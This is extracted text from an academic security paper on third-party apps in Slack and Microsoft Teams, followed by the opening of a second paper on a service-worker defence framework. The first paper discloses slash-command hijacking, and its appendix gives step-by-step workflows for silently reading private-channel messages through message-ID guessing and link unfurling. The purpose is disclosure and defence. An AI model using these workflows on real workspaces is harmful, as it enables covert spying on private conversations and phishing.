apps in the workspace. Specifically, we find two different
ways that this can happen: the malicious app can hijack other
app’s registered slash commands (Section 5.1), and replace
another app’s unfurled link content (Section 5.2). In particu-
lar, we note that both Microsoft Teams and Slack allow apps
to customize their appearance (e.g., name, icon, and descrip-
tion) without restriction. A malicious app can thus completely
mimic the appearance of another app4to exploit the above in-
teractions more stealthily. Finally, we analyze the root cause
and potential prevalence of these attacks.

5.1 Slash Command Hijacking
In Slack’s user-to-app interactions, all apps’ slash commands
share a single namespace, creating the potential for name col-
lisions. A malicious app can hijack another app’s commands,
responding to any user that tries to launch the hijacked com-
mand in the victim app’s stead. Two specific design flaws
enable this attack. First, Slack only invokes the most recently
installed app when multiple apps in a workspace have regis-
tered the same command. Second, both creating and renaming
commands are silent and do not trigger a notification or per-
mission prompt in Slack. As a result, one can hijack a targeted
command in two ways: (1) create a new command with the
same name as the targeted one; (2) rename an existing com-
mand to the targeted one. In other words, the commands scope
becomes over-privileged as it implicitly allows an app to take
over any command within a workspace (by exploiting the
name collision). However, Slack does not recognize this de-
sign issue as a security-critical problem5; we find no runtime
policy checks of an app’s permission to create or rename
commands with a specific name.

We demonstrate the command hijacking attack on Zoom’s
Slack app [9]. From Zoom’s app, users can invoke the com-
mand /zoom to start private Zoom meetings and display a
Zoom call in Slack, as shown in Figure 4a. If the command is

4This may not be the case for apps published in the BCP official catalog,
as per their security guidelines. Although a Slack app can still requests
chat:write.customize to send messages with customized appearance.

5Slack acknowledged this problem in its document, but only suggests
developers to “avoid terms that are ... likely to be duplicated,” and not to
make the command “too complicated for users to easily remember.”

(a) The official Zoom app.

(b) The spoofed Zoom meeting.
Figure 4: Zoom meetings created by official and spoofed
/zoom commands in Slack. The spoofed Zoom meeting is
secretly created by the attacker but publicly shown as started
by the victim. The word “Fake” is added clear demonstration,
it can be removed in practical attacks.

invoked in a private channel, only users in this private chan-
nel will receive this private call. We create a malicious app
that masquerades as the official Zoom app. At the time of
installation, our malicious app requests the commands scope
to implement a benign command called /foo. Once installed,
we rename this command as /zoom to hijack the previous
official /zoom command. After that, the malicious app will
use the attacker’s Zoom account to start meetings every time
a user invokes the /zoom command, as shown in Figure 4b.
We provide more implementation details in Appendix D.1.
Attackers can also treat this vulnerability as a novel entry
point for phishing attacks, as discussed in Appendix B.

Since Microsoft Teams does not allow apps to register their
own commands, it does not suffer from this vulnerability.

5.2 Link Unfurling Hijacking

Microsoft Teams allows an app to provide customized link un-
furling for an authorized user. The app can register a domain
in its manifest. Whenever the user posts a URL under this
domain, the app can append a rich message card containing
texts, images, or even interactive buttons. For example, Lu-
cidchart’s Teams app [6] unfurls a document sharing URL to
preview the document as well as a button to accept the sharing
invitation. Such unfurled content can be hijacked similarly to
Slack’s slash command: a malicious app can register the same
domain as the victim app and, if the malicious app is installed
after the victim app, its unfurled content will be displayed
instead of the victim app’s one. Moreover, the malicious app
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can masquerade as the victim app to further deceive the user,
as its name and icon will also be part of the unfurled content.

While Slack also allows multiple apps to register the same
domain, it chooses to display all app’s unfurled contents in
parallel, avoiding the issue of link unfurling hijacking.

5.3 Analysis of Root Cause and
Potential Prevalence

The command and unfurling hijacking attacks work by vio-
lating least privilege and complete mediation, which results
from an overprivileged scope and the improper tracking of
resource ownership. First, the corresponding scope that al-
lows an app to use slash commands or unfurl a domain should
not spontaneously grant the ability to modify the app’s cur-
rently registered command names or domains; an app that
performs such operation should need to be re-installed. Sec-
ond, whenever an app registers a command or a domain, it
should gain ownership of this command or domain, however,
given the namespace collision, both BCPs fail to enforce such
ownership, which thus can be easily taken over by another
newly-installed app.

Potential Prevalence. In Slack, this slash command attack
only exploits the commands scope, which is requested by
1,266 apps (51.5%). These apps can immediately overwrite
each other’s commands to hijack their standard workflows.
Recall, once installed, these apps can change their slash com-
mands at any time, without requiring re-installation or notify-
ing the users (or admins) of the workspace. We also find
that many apps in the Slack App Directory already have
conflicting commands: 270 apps register commands used
by other apps. This implies the wide reuse of conflicting
commands, and thus Slack is likely to preserve this design
choice. In Microsoft Teams, the link unfurl attack relies on
the messageHandlers capability, which is requested by 77
apps (5.9%). We find that 13 of them register a domain that is
also registered by other apps.

6 App-to-User Confidentiality Violations

We analyze the different ways in which BCP apps interact
with user messages. Our main discovery is that an attacker
can leak messages from private channels without having per-
mission to read from those channels. Concretely, we can ex-
ploit two features in Slack: (1) Link unfurling of message
URLs (Section 6.1); (2) Pinning, starring, or emoji-reacting
to messages (Section 6.2). We additionally find that the root
cause behind this privilege escalation is incomplete media-
tion coupled with a lack of ownership tracking of resources
(Section 6.3). We note that in Microsoft Teams these features
are either absent or inaccessible to apps, so it does not suffer
from this vulnerability.

Direct Messages

Messages

Private Channels

m2

Unfurled ContentText

https://...

Members
User 1

Messages Members

m2 …

Personal Channel

im:history

User Token of User 1

m1

User 1

Private Channel #1

Figure 5: Privilege escalation exploiting link unfurling.

6.1 Message Extraction Attack via
Link Unfurls

BCPs have a built-in link unfurling feature that previews the
website content for any URLs contained in a chat message.
We first describe how link unfurling works with message
URLs and then show an attack where a malicious app without
Slack’s groups:history, the permission scope that controls
the read access to messages in private channel, abuses this
feature to effectively monitor all chats in any private channel
joined by an authorized user.

6.1.1 Unfurling of Message URLs

Slack provides a public URL to every message in a workspace.
This URL, if accessed, will only show the message if the login
credential of a user who has access to the message is provided.
We find that when the user sends a message m1 in their own
personal channel (i.e., where users can message themselves)
and m1 contains a URL that links to m2, where m2 can be any
message in any of the channels that the user is a member of,
Slack will automatically unfurl m2, adding its text content (up
to 8001 characters) and author as an additional attribute to the
original message m1.

While this is a reasonable and useful functionality because
the user’s personal channel is intended for drafting messages
and keeping links and files handy (as described by Slack),
it leads to unwarranted access, as illustrated in Fig. 5. Slack
allows an app with im:history user token scope to read the
user’s personal channel. This grants the app the ability to
read m1 with all its attachments. In this case, the attachments
include the unfurled content, which is m2, a message from
a private channel. Therefore, the app is implicitly permitted
to read m2, which is protected under the groups:history
scope, and the app with only im:history does not have

access to originally.

6.1.2 Attack Workflow

Now, we present a powerful attack based on the issue identi-
fied above. Through this attack, a malicious app can achieve
privilege escalation — it gains the ability to monitor all chat
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messages in any private channel where the victim user is a
member of, effectively gaining the permissions provided by
the groups:history user token scope but without explicitly
requesting it.

The key insight enabling this attack is that if the attacker
can learn the message URL of a private channel message, it
can then instruct the malicious app to post a generated URL
to the victim user’s personal channel (using the chat:write
scope as we described in Section 4), actively leaking messages
from that private channel. We additionally find that Slack’s
message URL always follows the format:

“https://[workspace].slack.com/archives/
[channel-ID]/p[message-ID]”

Therefore, the attacker’s job becomes learning valid combina-
tions of channel ID and message ID.

We have discovered several ways to obtain such combi-
nations without resorting to groups:history and detailed
them in Appendix D.3. Here we describe one method that
utilizes groups:read. This user token scope provides the
read access to the metadata of the user’s private channels,
including the channel ID and the ID of the latest message in
the channel. By constantly querying a channel’s metadata, the
attacker can pull every message from any private channel the
victim user has joined. We note that even if multiple messages
occur between two queries, the attacker can still guess their
IDs since Slack’s message ID is a counter that increments for
consecutive messages (see Appendix D.3 for details).

Extracting other types of messages and files. This attack
also works for other types of messages. An app’s bot user
can use this to view any public channel messages without
the corresponding bot token scope or invitation to join that
channel. Additionally, it can even be applied to read files
shared with the user. Unlike message URL, there is no easy
way to obtain a valid file URL through alternative approaches;
yet, whenever a file is uploaded in a chat message, the file’s
public URL will also be included in that message. The attacker
can then instruct Slack to unfurl the public URL to obtain a
direct-downloadable link. Therefore, the attacker can access
files by reading all the messages in the user’s joined channels.

6.2 Message Extraction Attack via
Pins, Stars, or Reactions

We demonstrate another message extraction attack exploiting
the incompleteness of resource ownership tracking in Slack.
This time we leverage the productivity feature of pinning and
starring messages (that add them to a user’s saved message
list) and the convenience feature of adding emoji reactions
to messages. The attack builds upon the same message ID
guessing technique from the prior attack.

To pin, star, or react to a message, the app needs to present
the message ID and the ID of the message’s channel to
the corresponding Slack API, with the pins:, stars:, or

reactions:write user token scope respectively. However,
the read counterpart of these scopes (pins:, stars:, or
reactions:read) does more than permit the app to view
the IDs of the pinned, starred, and reacted messages; they also
allow the app to view the contents of these messages. There-
fore, after a valid channel ID and message ID is obtained, the
app with both read and write scopes can either pin, star, or
react to the message, effectively allowing itself to read the
given message. As we have seen in the prior attack, an app
without permission to read a user’s private channel message
is still able to acquire the channel ID and message IDs of
that channel’s messages. Hence, a malicious app can repeat-
edly pin, star, or react to these messages and read through all
messages in the channel. We note that the app can also undo
these operations using the corresponding write scope again to
prevent the user from spotting any suspicious activity. With
this attack, the malicious app can read all the messages that
the user has access to, using only these seemingly harmless
operations.

6.3 Analysis of Root Cause and
Potential Prevalence

In both message extraction attacks, the malicious app obtains
the ability to read any messages that the user has access to,
with only some irrelevant permission scopes. We consider
this behavior as a violation of the user’s privacy expectations.
When a user grants the im:history scope to an app, there is
no description in the authorization prompt that suggests the
app can read private channels6. In addition, it puts the privacy
of other users in these channels at risk — the messages they
posted may suddenly become accessible to an app that they
never authorized. Even worse, they have no way of knowing
the leakage, since all it takes is for one user to install the
app, an action that is hardly perceptible to them (Section 2.2),
while the app itself is never a member of the channel.

An adversarial admin can use these attacks to monitor
chats in private channels they are not invited to by forcing
everyone to install their malicious app that disguises itself as
an innocent management app.

Such privacy violation in the first attack is a failure of not
enforcing complete mediation, which results from the im-
proper tracking of resource provenance in Slack. Take Fig. 5
for example: when Slack finds a link to m2 in m1, it blindly ap-
pends the content of m2 as m1’s attachments, without tracking
where m2 originates from. As such, any entity that can read
m1 can also read m2, whereas these two messages have differ-
ent provenances and should be checked against two separate
permissions. The second attack can also be mitigated if Slack
tracks and checks who performed the operation. While Slack
needs to allow apps to read the content of pinned, starred, or

6Accessing private channel messages with only im:history will cause
Slack API to return an missing_scope error and a message saying that
groups:history is needed.
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emoji-reacted messages for functionality purposes, this rule
should not apply if the app trying to read the message is the
one who performed the operation (since it does not make
sense for an app to pin a message it does not already know).

Potential Prevalence. Out of all 1,640 apps (66.7%) that
do not request explicit scopes to read private channels (i.e.,
groups:history), we only counted 11 apps with the neces-
sary permissions to extract messages via pins, stars, reactions,
or link unfurls.

7 Potential Countermeasures

We discuss countermeasures for the attacks we previously dis-
cussed. We note that these countermeasures are point fixes for
the BCP permission model as it currently exists. The attack
classes we’ve identified exist because the BCP permission
model violates classic security principles. As such, even with
these countermeasures, we cannot guarantee that all future is-
sues will be prevented. We characterize each countermeasure
from three perspectives: which design issues it attempts to
solve, how much it helps mitigate the attacks, and what the
cost or trade-off is.

7.1 Finer-grained Scopes
The BCPs we examined define several coarse-grained scopes
that manage multiple resources of different types. For exam-
ple, Slack’s chat:write user scope allows an app to send
messages to any target with the identity of the authorizing user.
The Microsoft Teams Graph API Chat.ReadWrite scope
grants a Microsoft Teams app similar permissions. Therefore,
even if the app’s functionality only requires sending messages
to human users, it needs to acquire one of these broad scopes,
which inevitably comes with the permission to send messages
to apps and thus the ability to perform impersonation attacks
on other apps. These scopes are coarse-grained as they allow
an app to send messages to separate targets (app and non-
app). BCPs can break down these scopes into two separate
scopes: one that allows sending messages to non-app targets,
and another that allows messages to app targets. However, this
countermeasure cannot handle the attacks exploiting scopes
that do not have finer-grained concepts (such as command
hijacking).

7.2 Stricter Runtime Policy Checks
Stricter runtime checks can help address the message extrac-
tion attacks found in Slack. Specifically, Slack first needs to
fix its coarse-grained modeling of the message resources by
decoupling the unfurled content from the message and treat-
ing it as a separate type of resource. Slack also needs to track
the origin of the unfurled content, for example, whether it
is a message from another channel or a file shared with the

user. Then, whenever an app requests to read a message, Slack
should enforce an additional dynamic condition check to ex-
amine whether the provided token has the correct privilege
to access the origin of the unfurled content. If not, only the
message should be returned to the app, but not the appended
unfurled content.

For the attack via pins, stars, or reactions, we present two
options. The first is that when an app wants to read the pinned
or starred messages, Slack should send the message content
only if the app has the privilege to read the original message;
otherwise, only the message ID is returned. However, this
may inversely encourage malicious apps to request more priv-
ileges to maintain their original functionality. The second is
for the BCP to consider the entity that issued the pin, star, or
react operation. For example, an app can only read the content
of a pinned/starred/reacted message if the pinning/starring/re-
acting is done by a human user or a different app; if it is done
by the requesting app itself, then the BCP only returns the
message ID. The tracking should occur even when a user has
delegated control of their account to an app. When an app
performs actions on behalf of a user, those actions should still
be tracked as having been taken by an app. This should not
hurt any benign app’s functionality because if a message is
pinned, starred, or reacted on by a benign app, it is reasonable
to assume that the app should already know the message’s
content.

However, this countermeasure does not apply to situations
where it is difficult for an app or Slack to determine whether
an action is malicious or user-intended. In Section 4.1, we
demonstrated various legitimate scenarios in which users in-
deed want apps to perform actions on their behalf.

7.3 Indicate Identity of Action Issuer
To counter delegation attacks, the victim app should be able
to determine if a received event comes from a human or an
impersonated user and thus choose whether to respond or not.
Thus, BCPs should indicate the identity of the action issuer
(i.e., whether a real or delegated user performed the action)
and therefore allow for identity checks on the victim app’s
side. Slack has provided this information for a few actions,
such as posting messages but ignored it for other actions such
as reacting to a message, which might also lead to exploits.
However, as mentioned earlier, in some cases, even if the app
knows the action is coming from another app, it is hard to tell
whether the intent of the action is malicious or not.

7.4 Explicit User Confirmation
The final countermeasure is to request confirmation from
users. From the perspective of victim users, all attacks stem
from the fact that either victim apps or the BCPs automati-
cally reacted to malicious events (in an unwanted way). There-
fore, before accessing sensitive data, both the apps and the
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BCP should prompt the user for confirmation. For example,
they can create a consent popup UI that involves clicking a
button. Based on the current design of Microsoft Teams and
Slack, only human users can perform such actions, making
it hard to forge UI actions. This will prevent both delegation
and message extraction attacks.

To resolve namespace collision attacks, BCPs should ac-
tively check for namespace collisions when apps are being
installed. For example, Slack should detect when an app
attempts to register a command with the same name as a
command already registered in the workspace, and Microsoft
Teams should detect when an app has the same name as an-
other app already installed in the workspace. We outline three
solutions that BCPs may adopt. First, they can refuse to install
the new app whose command would conflict with an existing
one. However, this robs BCPs of functionality and unfairly
penalizes apps installed later. Second, they can permit instal-
lation but require the user to make a selection whenever a
namespace collision arises during use, but this requires the
user to pay attention at all times. Third, after detecting a colli-
sion, they can provide an alias mechanism where users can
change the conflicting names. In conclusion, runtime user
confirmation can mitigate namespace collision attacks, but at
the expense of productivity and user convenience.

8 Related Work

To the best of our knowledge, this is the first paper to ana-
lyze the security and privacy of third-party apps in business
communication platforms. However, considerable work has
been done in other types of app platforms that share varying
degrees of similarities with BCPs.

Social networks. Facebook and other social network plat-
forms allow third-party applications that offer users additional
functionality and services but generally at the cost of user pri-
vacy [23, 40]. These apps are similar to BCP apps in terms
of pure server-side implementations and all-or-nothing per-
mission, but they are installed in a single-user home space,
whereas BCP apps are in a multi-user workspace. Symeoni-
dis et al. show Facebook apps lead to collateral informa-
tion collection [47], where they can collect not only data
of the users who install them but also of their friends. This
is akin to our findings of BCP apps; however, BCP apps
can also actively affect other users’ actions, such as through
interaction hijacking. On the other hand, several studies pro-
pose different access control schemes for apps in social net-
works [19, 25, 43, 44, 48, 49]. While these solutions aim to
solve the problem of coarse-grained permissions, they usually
require the social network provider to host some part of the
application codes, which does not suit the current communi-
cation framework of BCP apps.

Voice assistants. Amazon Alexa, a voice assistant often built
into smart home devices, allows users to install third-party

apps called skills. Similar to BCP apps, Alexa skills often ap-
pear in the form of chatbots; however the primary way of inter-
acting with Alexa skills is through voice commands. Studies
have shown that Alexa skills can be easily squatted to enable
phishing attacks [36, 54], similar to how Slack’s commands
can be hijacked. However, skill squatting relies on the inher-
ent ambiguity of voices, whereas we exploit the namespace
collisions of commands. In an orthogonal direction, many
works try to measure the privacy practices of current Alexa
skills and find that many skills do not honor their privacy
policy and request overprivileged access [18, 32, 37, 45].

Android. Many studies have analyzed the security and pri-
vacy of Android apps. The closest related attacks to this work
are the confused deputy and collusion attacks [20, 26, 38, 39,
42]. Just as in BCPs, the app-to-app communications in An-
droid can be used with malicious intent; however, they usually
aim to achieve privilege escalation to access more user data
instead of attacking users’ accounts in other services. In ad-
dition, the problem of coarse-grained permission scopes is
also found in Android, granting apps powerful capabilities
that can be used to exploit various vulnerabilities [34]. Mean-
while, defenses proposed for Android apps usually require
static or dynamic analysis [27, 29, 31, 51, 52], making them
incompatible with BCP apps, which have no client-side codes.

Other OAuth-based systems. Studies have shown that over-
privileged attacks are a common issue in OAuth-based sys-
tems [21,22,28,33,35]. In addition, despite its wide adoption,
OAuth is usually poorly designed and implemented by de-
velopers [24, 46, 50]. BCPs use coarse-grained scopes for
certain operations and couple them with separate runtime
policy checks that we have shown to be incomplete.

9 Limitations

For ethical reasons, we did not publish our attack apps to the
Slack app directory or Microsoft Teams app store, and thus
cannot comment on their vetting processes. However, we did
analyze their security guidelines [12, 16] for publishing apps
and found no obvious restrictions that would fundamentally
prevent the attacks described in this paper. These attacks rely
on abusing permissions acquired for benign purposes, caus-
ing the information-limited vetting to be ineffective. BCPs
do, however, prohibit two apps from sharing the same name,
making it harder for a published app to mimic the appear-
ance of another app; but as we noted in Section 5, a Slack
app can circumvent this restriction by requesting the chat:
write.customize permission scope, which allows the app
the send messages using customized name and icon, avoiding
the need to modify the app’s own name and icon declared in
the manifest.
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10 Conclusions

We performed an experimental security analysis of the app
model of two popular BCPs: Slack and Microsoft Teams.
Our methodology was to study each BCP-facilitated interac-
tion method between apps and users. We found that these
BCPs violate two standard security principles: least access
and complete mediation. We created proof-of-concept attacks
that exploit these violations to (1) impersonate users and trick
victim apps into performing unwanted actions; (2) hijack
commands; (3) steal messages from private channels without
appropriate permissions. Our discussion of countermeasures
indicates that while point fixes for these attacks can be de-
ployed at the cost of BCP usability, preventing further issues
requires redesigning the BCP app access control model.
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A Exploiting File-based Interactions

Dokkio [3] is a cloud service that provides a single place
to manage a user or team’s files stored in different cloud
storage services, including DropBox, Google Drive, Gmail,
and Slack. To manage files in Slack, it connects to the user’s
Slack account and request permission to read files uploaded in
the workspace. Once the user shares a file in Slack, Dokkio’s
Slack app will automatically collect this file and provides
numerous add-on services such as content organizing and
cognitive services. In this case, the user’s Dokkio account is a
resource that only Dokkio and the user can access. Similar to
the attacks discussed above, once an app can share files on the
user’s behalf, it implicitly gains access to Dokkio’s backend
resources.

In this attack, we show that the attacker, though not autho-
rized to access the user’s Dokkio account, can add any files
to the user’s file management portal in Dokkio. We design a
malicious app that requests the files:write user scope and
launch the attack by uploading arbitrary files to Slack on the
user’s behalf. After that, Dokkio will automatically collect
the shared files and add them to the user’s Dokkio account.

B Phishing Attacks based on Command Hi-
jacking

Attackers can treat the design issue of command namespace
collisions as a novel entry point for phishing attacks. For
example, the malicious app can request the user to authorize
third-party services. In Figure 6, we demonstrate a phishing
attack by hijacking the /gcal command from the Google
Calendar app.

Figure 6: Demonstration of phishing attacks using the Com-
mand Hijacking attack in Slack. The two messages are sent
to the user after invoking the official and hijacked /gcal
command, respectively. The attacker can start a valid OAuth
authorization process to acquire access to the user’s account.
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C BCP App Installation Page

Figures 8 and 9 show the installation of BCP apps (e.g., Slack)
requesting bot scopes and user scopes. Note that in Figure 9,
the app is able to perform actions on behalf of the user, such
as sending messages and direct messages.

User Action Counter Increment

User Posting a message with text 200
App Posting a message with text 100
Posting a message with only file 100
Saving a draft (happens automatically 10
seconds after the user stops typing)

100

Figure 7: Slack Message Counter Increment. For each consec-
utive message, the counter value is increased by 100x, where
x starts at 0 and gradually increases based on actions of the
users in the channel.

Figure 8: Installing Slack apps with bot scopes.

D Implementation Details of Attacker Apps

In this section, we provide more implementation details of
our attacker apps demonstrated in Sections 4 to 6. All apps
are implemented by following the official guideline and APIs.

D.1 App-to-App Delegation Attacks
In Section 4.2, we demonstrate five delegation attacks. For
each attack, the attacker registers a malicious app that pro-
vides benign functionality and requests a legitimate set of
permissions (detailed below). After that, the attacker either in-
stalls the malicious app to their workspace (where the attacker
is a curious user) or tricks a user into installing apps in the
user’s workspace. Once installed and granted permission, the

Figure 9: Installing Slack apps with user scopes.

malicious app gets notified and starts the attack by interacting
with other targeted apps in the workspace.

The first four malicious apps request permission to send
messages on behalf of the user. They launch the attack by
sending specific messages that the targeted apps were de-
signed to read and process. The last malicious app requests
permission to react to messages on behalf of the user. It
launches the attack by reacting with an emoji that the tar-
geted app is designed to notice and retweet.

D.2 User-to-App Interaction Hijacking

In Section 5, we demonstrate the command hijacking attack
on Zoom, which requires implementing a malicious app that
mimics the appearance and behavior of the official Zoom app.
To this end, we register an app with slash command permis-
sion but deliberately implement the command responses with
Zoom APIs (of the attacker’s controlled Zoom account) to
mimic the official Zoom app. As BCPs permit installing apps
from just a public URL, we do not have to publish the apps
on official app stores. This approach avoids any accidental
distribution of malicious apps to other BCP users.
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Furthermore, this attack can be extended to hijack any other
apps, as long as the attacker can re-implement the proper
functionalities of the targeted app. The appearance of an app
is publicly available in the official app directory.

D.3 App-to-User Confidentiality Violations
We provide more details of how the attacker can obtain the
channel and message IDs described in Section 6.1.

Obtaining channel ID. Each channel ID is a random string.
The direct way to learn the ID of a private channel is by re-
questing a less alarming scope, groups:read, which provides
the read access to a private channel’s metadata. Alternatively,
if the attacker knows the name of the channel (through side
channels or guessing; per our threat model the attacker can be
a curious workspace member who has some prior knowledge),
it can use the chat:write scope to write a new message.
It can just provide the channel name to the corresponding
chat.postMessage API, which will accept this request and
return the channel ID as part of the response.

Obtaining message ID. The direct way to learn the message
ID requires groups:history, which also grants the ability
to directly read messages, avoiding the need for any attack
because an app can simply misuse that permission to leak
messages. However, unlike channel ID which is completely
randomized, the format of a message ID follows a simple,
intuitive pattern, consisting of only the current timestamp and
a counter value. An example message ID is shown below:

1616604187︸ ︷︷ ︸
Timestamp

0000600︸ ︷︷ ︸
Counter

The first 10 digits represent the UNIX epoch timestamp of the
message in seconds, and the last 7 digits is a counter that gets
increased for each consecutive message and resets to 0 after
approximately 5 days of inactivity. We conducted a series of
controlled experiments and empirically found that the counter
increments according to the following rules:
1) The increment between two consecutive messages is al-

ways a multiple of 100. Although this increment is usu-
ally 200, it may change based on the user actions listed in
Fig. 7.

2) The counters are independent across different channels,
as well as user actions in different channels.

Due to the first rule, the attacker cannot predict the exact
message ID given the previous ID, as Slack does not provide
a way to learn how many drafts are saved internally. However,
if the attacker is given two valid IDs separated by a small
time interval, then it is straightforward to guess the valid IDs
in between. We describe two ways of learning a valid ID.
The first way is, again, to rely on the groups:read scope,
since the metadata of the channel includes the ID of the latest
message in the channel. The second way is to write a new

message to the channel, which will cause the Slack API to
return the ID of the newly posted message.

Attack workflow.
1) The attacker obtains a valid combination of channel ID

and message ID using the techniques described above. We
refer to the message ID as (t0,c0). If it obtains the message
ID via posting new messages, then it immediately deletes
the message to hide its trace, which is also permitted by
the chat:write scope.

2) After a short time τ, the attacker obtains another valid
message ID (t0 + τ,c1).

3) The attacker guesses all possible message IDs, which is
the cartesian product of (t0, t0 + 1, ..., t0 + τ) and (c0 +
100,c0 +200, ...,c1−100).

4) The attacker uses the guessed IDs to generate the message
URL and posts it to the user’s personal channel. The URLs
of the valid IDs will get unfurled.

By repeating this attack over and over again for different
message IDs, the attacker can eventually pull every message
from any private channel that the victim user has joined, ef-
fectively granting the malicious app the power of the groups
:history scope even though this scope is never explicitly
requested. We note that the attacker should adjust the time
interval τ dynamically based on the messaging frequency to
aim for c1− c0 ≤ 500, so that it can post all possible IDs in
step 3 under Slack’s rate limit (which allows unfurling of up
to 5 URLs per second).
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Abstract
Client-side web attacks are one of the major battlefields for
cybercriminals today. To mitigate such attacks, researchers
have proposed numerous defenses that can be deployed on a
server or client. Server-side defenses can be easily deployed
and modified by web developers, but it lacks the context of
client-side attacks such as DOM-XSS attacks. On the other
hand, client-side defenses, especially in the form of modi-
fied browsers or browser extensions, require constant vendor
support or user involvement to be up to date.

In this work, we explore the feasibility of using a new ex-
ecution context, the service worker context, as a platform
for web security defense development that is programmable,
browser agnostic, and runs at the client side without user
involvement. To this end, we propose and develop SWAPP
(Service Worker APplication Platform), a framework for im-
plementing security mechanisms inside a service worker. As
the service worker is supported by most browsers, our frame-
work is compatible with most clients. Furthermore, SWAPP
is designed to enable the extensibility and programmability of
the apps. We demonstrate the versatility of SWAPP by imple-
menting various apps that can mitigate web attacks including
a recent side-channel attack targeting websites that deploy
a service worker. SWAPP allows websites to offload a part
of the security tasks from the server to the client and also
enables the possibility to deploy or retrofit emerging security
features/prototypes before they are officially supported by
browsers. Finally, we evaluate the performance overhead of
our framework and show that deploying defenses on a service
worker is a feasible option.

1 Introduction

Ever since the introduction of the Internet, cybersecurity
threats have always been relentless, especially regarding
client-side web attacks. For example, one of the most preva-
lent attacks, Cross-site scripting (XSS), costs more than $4M
a year in bug bounty rewards [11]. In response to new at-
tacks, researchers have proposed many defense/detection

mechanisms that require web browser modification (browser-
centric) [34,38,39], manual installation, i.e., as browser exten-
sions (user-centric) [13, 15, 43], or server-side modifications
(server-centric) [17, 42]. While each of the methods has been
proven reasonably effective in its rights, there are correspond-
ing limitations based on where the mechanisms are mainly
deployed.

For browser-centric defenses, generally, browser developers
already put much effort into providing the most secure envi-
ronment to run a website. Nevertheless, a slight inconsistency
between different browser vendors or versions can create a
gap that allows attackers to compromise the users. This is
because there is usually a time gap for a proposed defense to
be officially supported by different browsers and widely de-
ployed. Any outdated client is still at the risk of being compro-
mised. Additionally, proposed prototypes of browser-centric
defenses such as BEEP [31] usually require browser modi-
fications. It is not feasible for such prototypes to be widely
adopted/deployed without constant support from browser ven-
dors. Even the proposal of Content-Security-Policy took two
years before the W3C published the first standard [49].

In the case of user-centric approaches, users are mostly as-
sumed to discover and deploy additional security mechanisms
(i.e., browser extensions) by themselves. Unfortunately, only
a small amount of users are aware of the latest security risks
and deploy the defense mechanisms. As studied by previous
works [41], some users are unaware of commercial security
tools such as password managers. Some users even ignore
security cues and warnings presented by browsers in favor
of convenience [24]. Therefore, it is imperative for web de-
velopers to be the active party in protecting their users from
client-side attacks.

For web developers to mitigate client-side attacks using
server-centric approaches, they can deploy a defense mecha-
nism on the server. For instance, Snort and XSSDS [17, 32]
can be used to set up a server to detect attacks. Nevertheless,
server-side defenses lack the context of client-side attacks.
For instance, DOM-XSS attacks can include the payload after
the URL segment (“#"), which does not get sent to the web-
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server. Add-on XSS [26] also executes JavaScript directly in
the victim’s address bar.

To mitigate the aforementioned limitations, a client-side
framework for security functionalities is required. There are
three goals that we want to realize with this platform.

• (G1) Adoptability. We want to provide browser-
agnostic security functionalities that can be quickly
adopted by web developers with minimal changes to
the legacy code and without user involvement and con-
tinuous support from browser vendors.

• (G2) Compatibility. We want to provide a unified en-
vironment for different functionalities, including non-
security libraries such as Workbox [19] (for cache man-
agement), to be compatible and run coherently in the
same environment.

• (G3) Fast prototyping. We want to provide the extensi-
bility and programmability with the platform for devel-
opers to implement security apps against existing and
future attacks.

In this paper, we introduce SWAPP (Service Worker
APplication Platform), a new development framework for
developing security prototypes and applications. SWAPP is a
generalized platform that can be used for any website or in
an enterprise setting accessible from specific networks such
as business applications. To achieve the first goal, we imple-
ment SWAPP to be deployed inside a service worker, which
has been supported by all mainstream web browsers [16].
Nonetheless, it is non-trivial to provide a secure environment
for apps to run as parts of SWAPP. While the service worker
is designed with security as a priority, existing works [28, 29]
show that it can still be compromised. In consequence, we
harden service worker APIs that can be leveraged as an attack
vector and systematically evaluate the security of SWAPP
against possible attacks (Section 4.3).

For the second goal, the heterogeneity of apps running in-
side SWAPP can be a problem. As we envision SWAPP to be
a platform for future security prototype development, SWAPP
needs to handle different apps (including legacy ones like
Workbox) that try to handle the same resource coherently.
However, the service worker is designed to work homoge-
neously. Because it runs asynchronously, each key resource
is provided as an event that can only be handled by a single
event listener. As a result, only one party has a monopoly on
each type of resource, i.e., only Google’s Workbox can handle
the fetch event. To address this issue, SWAPP promotes a new
sub-event queuing system by extending the original event
handling mechanism. SWAPP will generate corresponding
sub-events from the original event to allow different apps
to sequentially handle a copy of the original event based on
the app priority levels. The results will then be combined by
SWAPP. This allows multiple security apps to run cohesively
without any conflicts.

Allowing fast prototyping of apps through SWAPP is our

third goal. To this end, we provide four interfaces based on the
most crucial functionalities: network manipulation, document
context access, secure communication, and secure storage. We
develop several example security apps to show that SWAPP
can be used to implement security apps against various types
of attacks, including a recent side-channel attack [33] target-
ing websites with a service worker (Section 5).

Finally, we evaluate the overhead of SWAPP using two
popular open-source web applications, WordPress and ph-
pBB, which can integrate SWAPP by modifying a few lines
of original code. The results show that the core of SWAPP
(without any apps running) incurs 40ms (15.8%) additional
home page load time to a vanilla WordPress and 58.8ms
(17%) to a vanilla phpBB. With four apps running (Workbox,
Cache Guard, Autofill Guard, and DOM Guard), SWAPP in-
curs 138ms (55%) and 225ms (65.2%) to a vanilla WordPress
and phpBB, respectively. Note that for the purpose of eval-
uation, we enable the four apps for all types of requests. In
practice, the developers can configure the apps to selectively
activate them for certain pages or types of resources. This
could help reduce the overhead of SWAPP and its apps. For
instance, we find that the largest file (a font) requested by ph-
pBB alone requires SWAPP 20ms to parse it. Furthermore, the
measurement was conducted in a local environment, and the
calculations do not consider the network delay. The network
latency depends on several factors, but Google’s DevTools
would add 300-500ms when the Fast3G setting is applied in
our testing environment. Considering an actual user experi-
ence with a 400ms network delay, the overhead of SWAPP
would be 12% for WordPress without apps and 21.2% with
four apps. Similarly, the overhead would be 10.3% for phpBB
without apps and 30.2% with four apps. Therefore, we believe
a service worker can be a feasible option to deploy client-side
defenses in the future.

Our main contributions are as follows:

• We propose and implement SWAPP, a new framework
for developing security mechanisms inside a service
worker. The source code of SWAPP and its apps that
we implement are accessible1. (Section 4)

• We implement security apps using SWAPP to demon-
strate the practicality of the new approach. The devel-
oped apps can be easily extended/exported and deployed
to mitigate several types of web attacks. (Section 5)

• We evaluate the overhead of SWAPP using two open-
source applications (Wordpress and phpBB). The result
shows that SWAPP incurs 40ms (15.8%) and 58.8ms
(17%) additional page load time to the base Wordpress
and phpBB respectively. (Section 6)

1https://github.com/successlab/swapp
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Table 1: A List of Service Worker Events.

Event Dispatch Condition

install A service worker is installed
